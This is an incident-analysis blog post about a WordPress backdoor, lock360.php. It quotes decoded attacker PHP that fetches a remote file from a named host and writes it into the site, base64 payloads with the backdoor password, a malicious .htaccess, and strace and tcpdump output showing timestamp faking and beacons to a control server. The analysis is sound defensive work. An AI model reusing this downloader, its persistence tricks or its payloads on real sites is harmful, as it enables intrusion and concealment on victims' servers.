Technical analysis of Wordpress hack with PHP script lock360.php as running process

From the access logs, we can see many requests to lock360.php:

Partial output from access log, showing multiple GET requests to lock360.php

A closer look at the zzz variable revealed, that the submitted code was base64 encoded. Here's an example of one of these requests:

173.208.202.234 - - [17/Feb/2022:07:26:30 +0100] "GET //lock360.php?pwd163=5w1JT_GxnA!lk2&zzz=PD9waHAgZWNobyAnIyM4OCMjJzsNCmZ1bmN0aW9uIGdldCgkdXJsKXsNCiAgICAkZmlsZV9jb250ZW50cyA9IEBmX[...] HTTP/1.0" 200 258 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.92 Safari/537.36"

Note: The zzz variable has been cut here for privacy reasons.

By decoding the zzz variable, we were surprised to see actual PHP code appearing:

<?php echo '##88##';
function get($url){
    $file_contents = @file_get_contents($url);
    if (!$file_contents) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
        $file_contents = curl_exec($ch);
        curl_close($ch);
    }
    return $file_contents;
}
$filePath = "/var/www/vhosts/example8.net/httpdocs/wp-content/uploads/woocommerce_uploads/new-index.php";
$a = get("http://51la.adcef.com/a.txt");
$b = @file_put_contents($filePath, $a);
if (strlen($a) > 500 && strlen($a) == $b)
{
    echo "success--" . str_replace(dirname(__FILE__),"", $filePath) ."--";
} else {
    echo "failed";
}

 echo '###88###';

This means that the lock360.php script awaited PHP code in the zzz variable to then execute this inside lock360.php. Certainly an interesting approach, technically speaking!

Most of the requests to lock360.php looked the same way, with a slightly adjusted $filePath variable. The goal: To create many more hidden files on the file system, accessible by the hacker via HTTP.  But this only works, as long as lock360.php still existed. As we know from the beginning of the article, the file was actually removed from the file system. How and when did that happen?

Let us take a look at the very last successful request to lock360.php:

173.208.202.234 - - [17/Feb/2022:07:26:31 +0100] "GET //lock360.php?pwd163=5w1JT_GxnA!lk2&zzz=PD9waHAgZWNobyAnIyM4OCMjJzsNCiRyZXN1bHQgPSBAdW5saW5rKCJsb2NrMzYwLnBocCIpOw0KaWYgKCRyZXN1bHQpDQp7DQogICAgZWNobyAic3VjY2VzcyI7DQp9IGVsc2Ugew0KICAgIGVjaG8gImZhaWxlZCI7DQp9DQogZWNobyAnIyMjODgjIyMnOw%3d%3d HTTP/1.0" 200 201 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.92 Safari/537.36"

By base64 decoding the zzz variable we obtain the following PHP code:

<?php echo '##88##';
$result = @unlink("lock360.php");
if ($result)
{
    echo "success";
} else {
    echo "failed";
}
 echo '###88###';

Here we go: That's the actual code removing lock360.php from the file system.

After lock360.php was executed using our HTTP request, we saw that a new .htaccess file was created in the same path:

root@sandbox:/var/www/html# ls -la hacktest/
total 44
drwxr-xr-x 2 www-data www-data  4096 Feb 19 14:50 ./
drwxr-xr-x 3 root     root      4096 Feb 19 14:49 ../
-rw-r--r-- 1 www-data www-data   475 Feb 19 14:50 .htaccess
-rw-r--r-- 1 www-data www-data 31786 Feb 19 14:34 lock360.php

The content of this newly created .htaccess file looked very simiilar (keep the strace output in mind):

root@sandbox:/var/www/html# cat hacktest/.htaccess
<FilesMatch ".(py|exe|php)$">
 Order allow,deny
 Deny from all
</FilesMatch>
<FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php|wp-l0gin.php|wp-theme.php|wp-scripts.php|wp-editor.php)$">
 Order allow,deny
 Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

So what does the loop process do?

As mentioned before, the loop process targets following files in the same path: index.php and .htaccess. By reproducing some HTTP requests on our sandbox server we could see that a new .htaccess file was actually created. The loop does that for the .htaccess and for the index.php file. The process checks whether or not these files are already containing the malicious code. If not, the process writes malicious code into these files.

For example if we clean up the .htaccess file and reset the file to use the defaults for Wordpress again:

root@server /var/www/vhosts/example8.net/httpdocs # vi .htaccess

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

But right after saving this file, it is immediately overwritten again by the running PHP process:

root@server /var/www/vhosts/example8.net/httpdocs # cat .htaccess
<FilesMatch ".(py|exe|php)$">
 Order allow,deny
 Deny from all
</FilesMatch>
<FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php|wp-l0gin.php|wp-theme.php|wp-scripts.php|wp-editor.php)$">
 Order allow,deny
 Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

On index.php the behaviour is slightly different: Here the process creates a lot of malicious code at the top of index.php, as soon as the file is writable by the process:

Malicious code added in index.php from the running PHP process

Wait a minute, this code does look familiar, doesn't it? Yes, indeed. It is the same PHP code as we have retrieved from the running PHP process! This means: lock360.php basically recreates itself again in index.php.

What is particularly mean (or clever from a technical perspective) is that the index.php file is created or modified using the original timestamp. We can verify this by moving the current index.php and wait until the php process creates it again:

root@server /var/www/vhosts/example8.net/httpdocs # ls -la | grep index.php
-r--r--r--  1 example8 psacln       405 Jan 18  2021 index.php

root@server /var/www/vhosts/example8.net/httpdocs # mv index.php ../

A new index.php is immediately created by the PHP process:

root@server /var/www/vhosts/example8.net/httpdocs # ls -la | grep index.php
-r--r--r--  1 example8 psacln     32196 Jan 18  2021 index.php

Note the difference in file size, containing the malicious code. However the modification timestamp is still set to January 18th 2021 - as if it was never changed ever since!

We can actually see this operation happening in the strace output, using the utime systems call:

access("/var/www/vhosts/example8.net/httpdocs/index.php", F_OK) = 0
open("/var/www/vhosts/example8.net/httpdocs/index.php", O_WRONLY|O_CREAT|O_TRUNC, 0666) = -1 EACCES (Permission denied)
access("/var/www/vhosts/example8.net/httpdocs/index.php", F_OK) = 0
utime("/var/www/vhosts/example8.net/httpdocs/index.php", {actime=2021-01-18T10:15:11+0100, modtime=2021-01-18T10:15:11+0100}) = 0
chmod("/var/www/vhosts/example8.net/httpdocs/index.php", 0444) = 0
open("/var/www/vhosts/example8.net/httpdocs/.htaccess", O_RDONLY) = 3

Additionally to faking the file's timestamps, the permissions are also adjusted to 444 (read-only). Any attempt to delete the file from the website owner (for example using FTP) would fail.

lock360.php talks to a remote (control) server

In our last article we guessed that the running lock360.php process would attack remote servers. To see the actual network communication of the process, we used strace with the network filter:

root@server ~ # strace -p 2799 -f -e trace=network -s 10000
strace: Process 2799 attached
^C
strace: Process 2799 detached

But even after several minutes, nothing showed up.

However when we reproduced the PHP script on our sandbox server, we ran tcpdump in the background. Whenever the lock360.php script was accessed using HTTP, it connected to a remote server:

10:27:11.788950 IP 10.33.1.20.56792 > 10.33.1.99.80: Flags [P.], seq 1:1528, ack 1, win 502, options [nop,nop,TS val 3321951482 ecr 2285666150], length 1527: HTTP: GET /lock360.php?pwd163=5w1JT_GxnA!lk2&zzz=PD9waHAgZWNobyAnIyM4OCMjJzsNCmZ1bmN0aW9uIHNlYXJjaERpcigkcGF0aCwgJGRlZXAsICYkcmVzdWx0cyl7DQogICAgaWYgKGNvdW50KCRyZXN1bHRzKT44KQ0KICAgIHsNCiAgICAgICAgcmV0dXJuOw0KICAgIH0NCiAgICBpZiAoJGRlZXA%2bMykNCiAgICB7DQogICAgICAgICRyZXN1bHRzW10gPSAkcGF0aDsNCiAgICAgICAgcmV0dXJuOw0KICAgIH0NCiAgICBpZihAaXNfcmVhZGFibGUoJHBhdGgpKSB7DQogICAgICAgICRkcD1kaXIoJHBhdGgpOw0KICAgICAgICB3aGlsZSgkZmlsZT0kZHAtPnJlYWQoKSkgew0KICAgICAgICAgICAgaWYoJGZpbGUhPScuJyYmICRmaWxlIT0nLi4nKSB7DQogICAgICAgICAgICAgICAgaWYgKGlzX2RpcigkcGF0aC4nLycuJGZpbGUpKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgc2VhcmNoRGlyKCRwYXRoLicvJy4kZmlsZSwkZGVlcCsxLCAkcmVzdWx0cyk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgICRkcC0%2bY2xvc2UoKTsNCiAgICB9DQp9DQokcmVzdWx0cz1hcnJheSgpOw0KJGRlZXAgPSAxOw0Kc2VhcmNoRGlyKGRpcm5hbWUoX19GSUxFX18pLCRkZWVwLCAkcmVzdWx0cyk7DQpzaHVmZmxlKCRyZXN1bHRzKTsNCmlmIChjb3VudCgkcmVzdWx0cyk8NSl7DQogICAgZWNobyAiZmFpbGVkIjsNCn0NCmZvcmVhY2ggKCRyZXN1bHRzIGFzICRyZXN1bHQpIHsNCiAgICBlY2hvICRyZXN1bHQgLiBQSFBfRU9MOw0KfSBlY2hvICcjIyM4OCMjIyc7 HTTP/1.1
10:27:11.788968 IP 10.33.1.99.80 > 10.33.1.20.56792: Flags [.], ack 1528, win 498, options [nop,nop,TS val 2285666151 ecr 3321951482], length 0
10:27:11.790587 IP 10.33.1.99.56442 > 1.1.1.1.53: 44717+ A? 3341-ch4-v6.bstxrp.com. (40)
10:27:11.790653 IP 10.33.1.99.56442 > 1.1.1.1.53: 15979+ AAAA? 3341-ch4-v6.bstxrp.com. (40)
10:27:12.106535 IP 1.1.1.1.53 > 10.33.1.99.56442: 44717 1/0/0 A 173.208.129.58 (56)
10:27:12.111728 IP 1.1.1.1.53 > 10.33.1.99.56442: 15979 0/1/0 (111)
10:27:12.299367 IP 10.33.1.99.54714 > 173.208.129.58.80: Flags [S], seq 2373514459, win 64240, options [mss 1460,sackOK,TS val 1444339332 ecr 0,nop,wscale 7], length 0

With tcpdump, we can see our reproduced HTTP request to lock360.php on the sandbox server (10.33.1.99), including the full GET request with pwd163 and zzz variables. Within the same second, the PHP script caused a DNS lookup for domain 3341-ch4-v6.bstxrp.com (resolved to 173.208.129.58.80) and a second later connected to this remote server using HTTP.

By looking closer at the data transmission, we could see the following POST request, containing information about the server hosting lock360.php:

10:51:12.948319 IP 10.33.1.99.56000 > 173.208.129.58.80: Flags [P.], seq 1:184, ack 1, win 502, options [nop,nop,TS val 1444572981 ecr 369195937], length 183: HTTP: POST / HTTP/1.1
POST / HTTP/1.1
Host: 3341-ch4-v6.bstxrp.com
User-Agent: 10.33.1.99
Accept:.*/*
Content-Length: 1340
Content-Type: application/x-www-form-urlencoded
Expect: 100-continue

10:51:13.073270 IP 173.208.129.58.80 > 10.33.1.99.56000: Flags [P.], seq 1:26, ack 184, win 235, options [nop,nop,TS val 369196062 ecr 1444572981], length 25: HTTP: HTTP/1.1 100 Continue
HTTP/1.1.100 Continue

10:51:13.073401 IP 10.33.1.99.56000 > 173.208.129.58.80: Flags [P.], seq 184:1524, ack 26, win domain=10.33.1.99&request_url=%2Flock360.php%3Fpwd163%3D5w1JT_GxnA%21lk2%26zzz%3DPD9waHAgZWNobyAnIyM4OCM
[...]
jIyM4OCMjIyc7&ip=10.33.1.20&agent=Mozilla%2F5.0+%28X11%3B+Linux+x86_64%29+like+Gecko%29+Chrome%2F98.0.4758.102&referer=&protocol=http%3A%2F%2F&language=en-US%2Cen%3Bq%3D0.9

10:51:13.205498 IP 173.208.129.58.80 > 10.33.1.99.56000: Flags [P.], seq 26:267, ack 1524, win 258, options [nop,nop,TS val 369196195 ecr 1444573106], length 241: HTTP: HTTP/1.1 200 OK
HTTP/1.1.200 OK
Server:.nginx
Date:.Sat,.19.Feb.2022.10:51:13.GMT
Content-Type:.text/html;.charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
2ceJxzzs8rSc0r0Q2pLEi1UihJrSjRzyjJzakBAHDCCSo=

The POST data contains information about the requested domain, the script's location and full request (including password and zzz variable), even the user agent from the http client. The server response for every request is just a string: eJxzzs8rSc0r0Q2pLEi1UihJrSjRzyjJzakBAHDCCSo=.

So far this control server is still running and accepting the POST data.

A beautiful hack - but evitable!

To sum this article up, the lock360.php hack, involving running processes recreating itself, hiding inside index.php, is actually a beautiful hack (techincally speaking). The obfuscation level is something I personally have not seen before - there's a lot of effort of creating such a script. But the worst part of the whole hack story is actually, that all the hacks of the affected Wordpress installations could have been prevented. By keeping Wordpress up to date most vulnerabilities can be closed - with a mouse click. However this should be done on a weekly basis - at least! Unfortunately most Wordpress users wait much longer and only occasionally update their installation. Whenever possible, use automatic updates of Wordpress itself, the plugins and themes.

Another important hint is how you can protect your Wordpress blog from brute force login attacks. This kind of attack does not actually use a vulnerability of Wordpress or a Wordpress plugin - it just tries to obtain valid user/password credentials. Once this attack was successful, your Wordpress is wide open for the attacker - a vulnerability is not even needed in this case.

More and more lock360.php hacks

Updated June 30th 2022

In the last couple of months I came across multiple Wordpress installations suffering from this lock360 hack. In most cases a PHP process was running in the background, but not always. There seems to be a connection to so-called fake plugins "wpyii2" and "dos2unix", which were also often discovered on the affected Wordpress installations.